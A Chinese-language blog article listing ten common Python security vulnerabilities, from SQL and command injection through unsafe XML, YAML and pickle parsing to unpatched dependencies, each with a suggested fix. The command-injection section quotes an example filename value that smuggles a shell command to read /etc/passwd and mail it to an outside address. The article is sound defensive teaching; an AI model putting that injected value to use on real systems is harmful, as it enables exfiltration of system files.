?
編寫安全的代碼很困難,當你學習一門編程語言、一個模塊或框架時,你會學習其使用方法。在考慮安全性時,你需要考慮如何避免代碼被濫用,Python也不例外,即使在標準庫中,也存在著許多糟糕的實例。然而,許多 Python 開發(fā)人員卻根本不知道這些。
以下為10個Python常見安全漏洞,排名不分先后。
?
1.輸入輸出
?
注入攻擊影響廣泛且很常見,注入有很多種類,它們影響所有的語言、框架和環(huán)境。
SQL 注入是直接編寫 SQL 查詢(而非使用 ORM) 時將字符串與變量混合。我讀過很多代碼,其中“引號字符轉義”被認為是一種修復,但事實并非如此,可以通過這個鏈接(https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)查看 SQL 注入所有可能發(fā)生的方式。
命令注入有可能在使用 popen、subprocess、os.system 調用一個進程并從變量中獲取參數(shù)時發(fā)生,當調用本地命令時,有人可能會將某些值設置為惡意值。
下面是個簡單的腳本(鏈接:https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html),使用用戶提供的文件名調用子進程:
?
?
攻擊者會將filename的值設置為“; cat /etc/passwd | mail them@domain.com或者其他同樣危險的值。
?
修復方法: 如果你使用了 Web 框架,可以用附帶的實用程序對輸入進行清理,除非有充分的理由,否則不要手動構建 SQL 查詢,大多數(shù) ORM 都有內置的清理方法。對于 shell,可以使用 shlex 模塊正確地轉義輸入。
?
2.解析XML
?
如果您的應用程序加載并解析XML文件,可能您正在使用一個XML標準庫模塊。有一些針對XML的常見攻擊。大多數(shù)為DoS風格(旨破壞系統(tǒng)而不是盜取數(shù)據(jù))。這些攻擊很常見,特別是在解析外部(即不可信任的)XML文件時。
其中一種攻擊為“billion laughs”,因為加載的文件包含了很多個(數(shù)十億)“l(fā)ols”。你可以加載XML實體文件,當XML解析器試圖將這個XML文件加載到內存中時,會消耗很多個G的內存。不信就試試看:-)
另一種攻擊使用外部實體擴展。?XML支持從外部URL引用實體,XML解析器通常會直接獲取并加載該資源。“攻擊者可以繞開防火墻訪問保密資源,因為所有請求都是由內部可信的IP地址創(chuàng)建的,請求不是來自于外部。”
?
需要考慮的另一種情況是您要依賴于第三方軟件包來解碼XML,例如配置文件,遠程API。您甚至不知道您的某個依賴包已經(jīng)暴露在攻擊之下。
?
那么在Python中會發(fā)生什么?標準庫模塊etree,DOM,xmlrpc都容易遭受這些類型的攻擊。詳情參考此鏈接:https://docs.python.org/3/library/xml.html#xml-vulnerabilities
?
修復方法: 直接用defusedxml(鏈接:https://pypi.org/project/defusedxml/)替換標準庫模塊。它增加了針對這類攻擊的安全防護。
?
3.Assert語句
?
不要使用 assert 語句來防止用戶訪問特定代碼段。例如:
?
?
默認情況下,Python 以 __debug__ 為 true 來執(zhí)行腳本,但在真實環(huán)境中,通常使用優(yōu)化運行,這將會跳過 assert 語句并直接轉到安全代碼,而不管用戶是否是 is_admin 。
?
修復方法: 僅在單元測試中使用assert語句。
?
4.計時攻擊
?
計時攻擊本質上是一種通過計算比較提供值所需時間來暴露行為和算法的方式。計時攻擊需要精確性,所以通常不能用于高延遲的遠程網(wǎng)絡。由于大多數(shù) Web 應用程序涉及可變延遲,因此幾乎不可能針對 HTTP Web 服務器編寫計時攻擊。
但是,如果你的應用程序有提示輸入密碼的命令行,攻擊者就可以編寫一個簡單的腳本來計算將其值與實際密碼進行比較所需的時間。例子參考鏈接:http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/
這里有一個基于SSH計時攻擊的Python 工具,你可以看看如何使用它。鏈接:https://github.com/c0r3dump3d/osueta
?
修復方法: 使用在 Python 3.5 中引入的 secrets.compare_digest 來比較密碼和其他私密值。
?
5.感染site-packages或導入路徑
?
Python的導入系統(tǒng)非常靈活。當你為測試程序編寫猴子補丁,或者重載核心函數(shù)時,你會感覺非常方便。?
但這也是Python最大的安全漏洞之一。
將第三方包安裝到site-packages中,無論是在虛擬環(huán)境中還是在全局site-packages中,你都將暴露在安全風險中。
有一些發(fā)布到PyPi的包與流行的包具有相似的名稱,但是卻執(zhí)行了任意代碼。幸運的是,這很可能沒有太大危害,只會“明確表示”這個問題沒有得到真正的解決。
需要考慮的另一種情況是多層依賴包。它們可能包含漏洞,它們也可以通過導入系統(tǒng)重寫Python默認行為。
?
修復方法: 你可以利用PyUp.io這個網(wǎng)站提供的工具檢查你的第三方包。使用虛擬環(huán)境,確保您的全局site-packages盡可能干凈。檢查包簽名。
?
6.臨時文件
?
要在 Python 中創(chuàng)建臨時文件,你通常會使用 mktemp ( )函數(shù)生成一個文件名,然后使用該名稱創(chuàng)建一個文件。“這是不安全的,因為另一個進程可能會在調用 mktemp ( )和隨后嘗試通過第一個進程創(chuàng)建文件之間的空隙創(chuàng)建一個同名文件。”這意味著應用程序可能加載錯誤的數(shù)據(jù)或暴露其他的臨時數(shù)據(jù)。
如果調用不正確,最新版本的 Python 會發(fā)出運行警告。
?
修復方法: 如果需要生成臨時文件,請使用 tempfile 模塊并使用 mkstemp。(參考鏈接:https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)
?
7.使用yaml.load
?
這里引用 PyYAML 的說明文檔:
?
警告:使用不可信源的數(shù)據(jù)調用 yaml.load 是不安全的!yaml.load 和pickle.load 一樣強大,所以可以調用任何 Python 函數(shù)。
?
在流行的Python項目 Ansible 中找到的這樣一個例子(鏈接:https://www.talosintelligence.com/reports/TALOS-2017-0305),你可以將此值提供給 Ansible Vault作為(有效的)YAML,它使用文件中提供的參數(shù)調用 os.system。
?
?
所以,從用戶提供的值中加載 YAML 文件會讓應用大門洞開,很容易遭受攻擊。
?
修復方法: 總是使用 yaml.safe_load,除非你有其它更好的方法。
?
8.Pickle漏洞
?
用pickle反序列化數(shù)據(jù)和YAML一樣糟糕。在pickle對象時,Python類可以聲明一個名為__reduce__的魔術方法,該方法返回一個字符串、或一個元組。攻擊者可以使用它來引用其中一個子進程模塊,在主機上運行任意命令。
這有一個在Python2中pickle一個類并打開shell的例子(鏈接:https://blog.nelhage.com/2011/03/exploiting-pickle/)。更多利用pickle漏洞的方法請看這個鏈接:https://lincolnloop.com/blog/playing-pickle-security/
?
?
修復方法: ?切勿用pickle反序列化不受信任或未經(jīng)身份驗證的數(shù)據(jù)。改用另一種序列化模式,如JSON。
?
9.使用系統(tǒng)自帶的Python而不修補漏洞
?
大多數(shù)可移植操作系統(tǒng)都自帶Python2,通常還是舊版本。
由于“Python”,即CPython是用C語言編寫的,所以Python解釋器本身存在漏洞。C語言中常見的安全問題與內存分配有關,所以存在緩沖區(qū)溢出錯誤。
多年來CPython出現(xiàn)了多個溢出漏洞,每個漏洞都在后續(xù)版本中進行了修復。
也就是說,如果你修補了Python本身的漏洞,你就是安全的。
這里有一個Python2.7.13及以下版本的整數(shù)溢出漏洞實例,鏈接:https://www.cvedetails.com/cve/CVE-2017-1000158/。Ubuntu17以前版本的Python漏洞請參看鏈接:https://distrowatch.com/table.php?distribution=ubuntu
?
修復方法: 安裝最新版本的Python并及時修補漏洞。
?
10.不修補依賴包的漏洞
?
類似于修補Python本身的漏洞,您還需要定期修補依賴包漏洞。有人習慣于使用PyPi軟件包的“固定”版本,這種做法很可怕。他們認為“這些是有用的版本”,所以每個人都對漏洞置若罔聞。
?
上面提到的所有漏洞如果存在于你使用的包中,它們同樣很致命。這些軟件包的開發(fā)人員無時不刻不在解決安全問題。
?
修補方法: 使用類似于PyUP.io這個網(wǎng)站提供的服務去檢查更新,向應用程序發(fā)送pull/merge 請求,運行測試,讓軟件包保持更新。使用InSpec這樣的工具(鏈接:https://www.inspec.io/docs/reference/resources/pip/)來驗證真實環(huán)境中的安裝版本,并確保修補了最小版本或多個連續(xù)版本的漏洞。
更多文章、技術交流、商務合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯(lián)系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
